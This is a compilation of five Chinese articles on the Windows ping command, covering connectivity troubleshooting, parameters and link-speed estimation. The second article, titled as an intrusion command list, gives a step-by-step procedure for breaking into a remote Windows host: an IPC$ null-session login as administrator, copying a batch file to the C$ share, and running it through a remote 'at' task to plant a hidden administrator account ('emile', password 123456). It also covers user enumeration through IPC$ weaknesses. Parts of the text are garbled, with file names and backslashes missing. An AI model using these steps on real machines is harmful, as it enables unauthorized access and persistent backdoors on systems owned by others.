2023年12月8日发(作者:)

第一篇:Ping命令总结

1 ping 127.0.0.1

通:操作系统TCP/IP功能完好

不通:重新给系统安装TCP/IP(类Unix OS不会出现这种状况)

2 ping 本地ip

使用DHCP时,先使用ipconfig查看,若有ip,则正常,且说明局域网物理链路正常。此时ping这个ip,通则说明网卡工作正常。

不通:重新安装网卡驱动

3 ping 局域网其他机器(多ping几台机器)

通:局域网TCP/IP工作正常

不通:检查线路

检查Hub,Switcher

看对方机器是否将ICMP回应关掉

4 ping 网关

通:到网关是OK的,如果不能上网,那就是网关的问题(比如网关将此机器屏蔽,网关到Internet的链接有问题)

不通:按4检查

(此时,就可以上网了,QQ什么的就可以用了,因为这种东西一般直接用ip) 5 ping DNS

通:全部OK

不通:换一个DNS

本地DNS未设置(DHCP:没有进行DNS透传,手动设定吧)

第二篇:入侵ping命令大全

net view *.*.*.* 查看指定IP主机上的共享 nbtstat -A *.*.*.* 得到远程主机的NetBIOS用户名列表

copy *.*.*.*Admin$system32 即将当前目录下的复制到对方Admin$共享的System32目录内

建立IPC$连接

例子: net use 192.168.1.60ipc$ "" /user:"administrator" 查看帐号— net user 建立帐号— net user

name passwd /add 删除帐号— net user name passwd /del 断开连接:

键入“net use * /del”命令断开所有的IPC$连接。键入“net use 目标IPIPC$ /del”可以删除指定目标IP的IPC$连接。

实例:建立后门帐号,步骤如下: (1)编写BAT文件:

打开记事本,输入“net user emile 123456 /add”和“net localgroup administrators emile /add”,然后把文件另存为“”,保存在cmd当前默认目录下。 (2)与目标主机建立IPC$连接,以192.168.1.60为例:

打开cmd窗口,分别执行命令:

net use 192.168.1.60ipc$ "" /user:"administrator" net use z: 192.168.1.60C$ (3)拷贝bat文件到目标主机:

在cmd窗口输入copy 192.168.1.60C$,把文件拷贝到目标位置;也可以打开映射驱动器用图形界面直接进行拷贝操作。 (4)通过计划任务使远程主机执行文件:

首先键入“net time IP”查看远程主机的系统时间,再键入“at IP TIME COMMAND”命令在远程主机上建立计划任务。

参数说明:IP—目标主机IP;TIME—设定计划任务执行的时间;COMMAND—计划任务要执行的命令,如此处为C:。

计划任务添加完毕后,使用命令“net use * /del”断开IPC$连接。 (5)验证帐号是否成功建立:

等待一段时间,当估计远程主机已经执行文件后,通过用新帐号建立IPC$连接来验证是否成功建立“emile”帐号,连接成功则说明帐号成功建立。

(3)获取目标主机上的用户信息:和X-Scan是常用的两款获取用户信息的工具。

FO是利用IPC$漏洞来查看目标主机用户信息的工具,通过USERINFO来查看目标主机用户信息的时候,并不需要事先建立IPC$空连接。 命令:USERINFO IP USER 用来查看目标IP上USER用户信息,然后根据反馈的结果进行具体分析。

b.X-Scan扫描器也是利用目标主机存在的IPC$空连接漏洞,获取用户信息,用法略

net user 查看用户列表 net user 用户名 密码 /add 添加用户 net user 用户名 密码 更改用户密码

net localgroup administrators 用户名 /add 添加用户到管理组 net user 用户名 /delete 删除用户 net

user 用户名 /delete 删除用户 net user 用户名 查看用户的基本情况 net user 用户名 /active:no 禁用该用户 net user 用户名 /active:yes 启用该用户

net share 查看计算机IPC$共享资源 net share 共享名 查看该共享的情况

net share 共享名=路径 设置共享。例如 net share c$=c: net share 共享名 /delete 删除IPC$共享

net use 查看IPC$连接情况

net use ipipc$ "密码" /user:"用户名" ipc$连接

net time ip 查看远程计算机上的时间

copy 路径:文件名 ip共享名 复制文件到已经ipc$连接的计算机上

net view ip 查看计算机上的共享资源

ftp 服务器地址 进入FTP服务器

at 查看自己计算机上的计划作业

at ip 查看远程计算机上的计划作业

at ip 时间 命令(注意加盘符) 在远程计算机上加一个作业 at ip 计划作业ID /delete 删除远程计算机上的一个计划作业 at ip all /delete 删除远程计算机上的全部计划作业

第三篇:ping命令检测网络步骤

使用Ping检查连通性有五个步骤:

1.使用ipconfig/all观察本地网络设置是否正确;

127.0.0.1,127.0.0.1回送地址Ping回送地址是为了检查本地的TCP/IP协议有没有设置好; 本机IP地址,这样是为了检查本机的IP地址是否设置有误;

本网网关或本网IP地址,这样的是为了检查硬件设备是否有问题,也可以检查本机与本地网络连接是否正常;(在非局域网中这一步骤可以忽略)

远程IP地址,这主要是检查本网或本机与外部的连接是否正常。

在检查网络连通的过程中可能出现一些错误,这些错误总的来说分为两种最常见: tTimedOut

"requesttimeout"这提示除了对方可能装有防火墙或已关机以外,还有就是本机的IP不正确和网关设置错误。 ①、IP不正确:IP不正确主要是IP地址设置错误或IP地址冲突,这可以利用ipconfig/all这命令来检查。在WIN2000下IP冲突的情况很少发生,因为系统会自动检测在网络中是否有相同的IP地址并提醒你是否设置正确。在NT中不但会出现"requesttimeout"这提示而且会出现"Hardwareerror"这提示信息比较特殊不要给它的提示所迷惑。

②、网关设置错误:这个错误可能会在第四个步骤出现。网关设置错误主要是网关地址设置不正确或网关没有帮你转发数据,还有就是可能远程网关失效。这里主要是在你Ping外部网络地址时出错。错误表现为无法Ping外部主机返回信息"Requesttimeout"。

ationHost Unreachable 当你在开始PING网络计算机时如果网络设备出错它返回信息会提示"destinationhostunreachable"。如果局域网中使用DHCP分配IP时,而碰巧DHCP失效,这时使用PING命令就会产生此错误。因为在DHCP失效时客户机无法分配到IP系统只有自设IP,它往往会设为不同子网的IP。所以会出现"DestinationHostUnreachable"。另外子网掩码设置错误也会出现这错误。

还有一个比较特殊就是路由返回错误信息,它一般都会在"DestinationHostUnreachable"前加上IP地址说明哪个路由不能到达目标主机。这说明你的机器与外部网络连接没有问题,但与某台主机连接存在问题。

举个例子吧。我管理的网络有19台机,由一台100M集线器连接服务器,使用DHCP动态分配IP地址。有一次有位同事匆忙地告诉我"我的OUTLOOK打不开了",我到他机器检查,首先我检查了本地网络设置,我用ipconfig/all看IP分配情况一切正常。接着我就开始PING网络中的其中一台机器,第一次PING结果很正常,但OUTLOOK还是无法使用其它网络软件和Copy网络文件都可以使用但网络速度很慢,第二次PING我用了一个参数-t(-t可以不中断地PING对方,当时我想PING一次可能发现不了问题)发现有time=30ms和requesttimeout,从服务器PING这台机就更有趣,requesttimeout比正常数据还多,在局域中竟然有time=30ms和requesttimeout太不正常了。开始我认为是网卡的问题但换网卡后故障依旧,重做网线还是不能解决问题,这故障真有趣!最后我没办法了把它插在集线器端口上的另一端的网线换到另一个端口,哈!故障解决了。原来是集线器端口坏了。

如何用Ping命令来判断一条链路的速度?

Ping这个命令除了可以检查网络的连通和检测故障以外,还有一个比较有趣的用途,那就是可以利用它的一些返回数据,来估算你跟某台主机之间的速度是多少字节每秒 我们先来看看它有那些返回数据。

Pinging202.105.136.105with32bytesofdata: Replyfrom202.105.136.105:bytes=32time=590msTTL=114

Replyfrom202.105.136.105:bytes=32time=590msTTL=114

Replyfrom202.105.136.105:bytes=32time=590msTTL=114

Replyfrom202.105.136.105:bytes=32time=601msTTL=114 Pingstatisticsfor202.105.136.105:

Packets:Sent=4,Received=4,Lost=0(0%loss), Approximateroundtriptimesinmilli-seconds:

Minimum=590ms,Maximum=601ms,Average=593ms 在例子中"bytes=32"表示ICMP报文中有32个字节的测试数据(这是估算速度的关键数据),"time=590ms"是往返时间。

怎样估算链路的速度呢?举个例子吧。我们把A和B之间设置为PPP链路。

从上面的PING例子可以注意到,默认情况下发送的ICMP报文有32个字节。除了这32个字节外再加上20个字节的IP首部和8个字节的ICMP首部,整个IP数据报文的总长度就是60个字节(因为IP和ICMP是Ping命令的主要使用协议,所以整个数据报文要加上它们)。另外在使用Ping命令时还使用了另一个协议进行传输,那就是PPP协议(点对点协议),所以在数据的开始和结尾再加上8个字节。在传输过程中,由于每个字节含有8bit数据、1bit起始位和1bit结束位,因此传输速率是每个字节2.98ms。由此我们可以估计需要405ms。即68*2.98*2(乘2是因为我们还要计算它的往返时间)。 我们来测试一下33600b/s的链路:

Pinging202.105.36.125with32bytesofdata: Replyfrom202.105.36.125:bytes=32time=415msTTL=114

Replyfrom202.105.36.125:bytes=32time=415msTTL=114 Replyfrom202.105.36.125:bytes=32time=415msTTL=114

Replyfrom202.105.36.125:bytes=32time=421msTTL=114 Pingstatisticsfor202.105.36.125:

Packets:Sent=4,Received=4,Lost=0(0%loss), Approximateroundtriptimesinmilli-seconds:

Minimum=415ms,Maximum=421ms,Average=417ms 看是不是差不多啊。^_^

这里大家可能要注意到,这估算值跟实际值是有误差的,为什么呢?因为我们现在估算的是一个理论值,还有一些东西我们没有考虑。比如在网络中的其它干扰,这些干扰主要来之别的计算机。因为在你测试时不可能全部计算机停止使用网络给你做测试,这是不实际的。另外就是传输设备,因为有某些设备如MODEM它在传输时会把数据压缩后再发送,这大大减少了传输时间。这些东西产生的误差我们是不能避免的,但其数值大约在5%以内我们都可以接受(利用MODEM传输例外),但是可以减少误差的产生。比如把MODEM的压缩功能关闭和在网络没有那么繁忙时进行测试。有时候误差是无须消除的。因为我们需要这些误差跟所求得的理论值进行比较分析,从而找出网络的缺陷而进行优化。这时测试网络的所有数据包括误差都会成为我们优化的依据。

还要注意,这种算法在局域网并不适用,因为在局域网中速度非常的快几乎少于1ms,而Ping的最小时间分辨率是1ms,所以根本无法用Ping命令来检测速度。如果想测试速度那就要用专门仪器来检测。 总的来说,Ping命令是一个在故障检查方面很有用而且很便利的工具,你不应该忽视它的存在。

第四篇:Ping命令的常用参数选项

ping IP Ct

连续对IP地址执行Ping命令,直到被用户以Ctrl+C中断。

ping IP -l 3000

指定Ping命令中的数据长度为3000字节,而不是缺省的32字节。

ping IP Cn 执行特定次数的Ping命令。

ping命令的完整格式如下:

ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [-j -Host list] | [-k Host-list] [-w

timeout] destination-list

从这个命令式中可以看出它的复杂程度,ping命令本身后面都是它的执行参数,现对其参数作一下详细讲解吧!

-t—— 有这个参数时,当你ping一个主机时系统就不停的运行ping这个命令,直到你按下Control-C。 -a——解析主机的NETBIOS主机名,如果你想知道你所ping的要机计算机名则要加上这个参数了,一般是在运用ping命令后的第一行就显示出来。

-n count——定义用来测试所发出的测试包的个数,缺省值为4。通过这个命令可以自己定义发送的个数,对衡量网络速度很有帮助,比如我想测试发送20个数据包的返回的平均时间为多少,最快时间为多少,最慢时间为多少就可以通过执行带有这个参数的命令获知。

-l length——定义所发送缓冲区的数据包的大小,在默认的情况下windows的ping发送的数据包大小为32byt,也可以自己定义,但有一个限制,就是最大只能发送65500byt,超过这个数时,对方就很有可能因接收的数据包太大而死机,所以微软公司为了解决这一安全漏洞于是限制了ping的数据包大小。

-f—— 在数据包中发送“不要分段”标志,一般你所发送的数据包都会通过路由分段再发送给对方,加上此参数以后路由就不会再分段处理。

-i ttl—— 指定TTL值在对方的系统里停留的时间,此参数同样是帮助你检查网络运转情况的。

-v tos—— 将“服务类型”字段设置为 “tos” 指定的值。

-r count—— 在“记录路由”字段中记录传出和返回数据包的路由。一般情况下你发送的数据包是通过一个个路由才到达对方的,但到底是经过了哪些路由呢?通过此参数就可以设定你想探测经过的路由的个数,不过限制在了9个,也就是说你只能跟踪到9个路由。

-s count——指定“count” 指定的跃点数的时间戳,此参数和-r差不多,只是这个参数不记录数据包返回所经过的路由,最多也只记录4个。

-j host-list ——利用“ computer-list” 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔IP 允许的最大数量为 9。

-k host-list ——利用 “computer-list” 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔IP 允许的最大数量为 9。

-w timeout——指定超时间隔,单位为毫秒。

destination-list ——是指要测试的主机名或IP地址

第五篇:ping命令快速搞定网络问题

ping命令快速搞定网络问题

电脑不能上网或者突然不能上网了怎么办?请专业人员来维修还是自己瞎急一通呢,下面给大家介绍如何准确地判断电脑不能上网问题出在哪里?

又如何能快捷地解决这故障?下文提供下小技巧,这是本人多年工作经验,希望对大家有所帮助!

电脑不能上网简单以下几个原因:系统的IP设置、网卡、MODEM和线路故障。排除硬件及线路的故障问题,我们可以利用Ping命令来快速检测网络状况。

1. 首先,我们点击系统中开始里的运行,在运行栏中输入cmd命令,操作系统中的DOS窗口就会弹出,在这里我们可以直观和方便地输入各种DOS命令。

电脑左边-开始-运行-输入CMD确定

2. 接着,我们可以在DOS里输入Ping 127.0.0.1,该地址是本地循环地址,如发现本地址无法Ping通,就表明本地机TCP/IP协议不能正常工作,那么请重装TCP/IP协议。键入指令判断TCP/IP协议是否正常。

3. 如果上面的操作成功,可Ping通的话,我们接下来可以输入IPConfig来查看本地的IP地址,然后Ping该IP也就是自己的IP,通则表明网卡或MODEM工作正常,不通则是网络适配器出现故障。

键入指令判断网卡或MODEM工作情况

ping自己的IP有反还值说明网卡和MODEM正常

4. 然后Ping默认网关的IP,ping默认网关之前要先检查路由器设置里面是不是允许ping网关,检查防火墙设置允许ping出、ping入吗?检查完这些我们开始ping默认网关,不通则此段线路有问题,那么检查网线和路由器是否工作正常。

ping默认网关来判断本机到路由之间是否正常。

5. 最后,检测一个带DNS服务的网络,简单的说就是ping一个网站,比如Ping,正常情况下会出现返还值,这表明本机的DNS设置正确而且DNS服务器工作正常,那就是我说我们的机器可以连接广域网了。

ping检测Internet网。

当以上五个步骤执行完毕后,我们就可轻易判断出到底是某个环节出现了故障问题,该重新设置的设置,该换硬件的换硬件。